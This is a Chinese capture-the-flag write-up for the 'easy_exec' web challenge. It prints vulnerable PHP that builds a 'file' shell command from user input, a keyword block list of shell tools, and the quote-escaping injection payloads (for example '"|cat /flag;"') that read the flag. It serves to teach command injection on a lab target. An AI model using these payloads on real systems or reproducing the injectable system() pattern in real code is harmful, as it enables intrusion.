BMZCTF WEB easy_exec

在这里插入图片描述
打开页面:
在这里插入图片描述
显示:no file
查看源码:
在这里插入图片描述
发现新的页面de.php,打开:
在这里插入图片描述
可以看到源码
要我们输入两个参数,最后与file拼接,再执行。
知道原理后,开始分析代码:

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];     #输入第一个参数
$comm2 = $_GET['comm2'];     #输入第二个参数


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))        #对第一个参数进行过滤
    $file1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))        #对第二个参数进行过滤
    $file2 = "";

$flag = "#flag in fllllag";

$comm1 = '"' . $comm1 . '"';   #用"把第一个参数包围起来
$comm2 = '"' . $comm2 . '"';   #用"把第二个参数包围起来

$cmd = "file $comm1 $comm2";   # 拼接 file命令
system($cmd);                  # 执行命令
?>

第一次尝试:
当我们输入:

?comm1=de.php&comm2=de.php

返回了

de.php: PHP script, ASCII text de.php: PHP script, ASCII text

第二次尝试:
当我们输入:

?comm1=ls&comm2=/flag

返回了:

ls: cannot open `ls' (No such file or directory) /flag: ASCII text

我们现在要绕过$cmd = "file $comm1 $comm2";,执行我们想要执行的命令。

我们看到$comm1 = '"' . $comm1 . '"';,这句是用"将我们的输入进行了包围,那么,我们就可以且"进行闭合。

第三次尝试:
我们输入:

?comm1="|ls;"&comm2=de.php

返回了:

de.php index.html

说明我们的ls命令被执行了。

所以最终payload如下:

?comm1="|cat%20/flag;"&comm2=de.php

得到了flag:

BMZCTF{f989dea98e2046c09e3048f3ddb24ea7}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值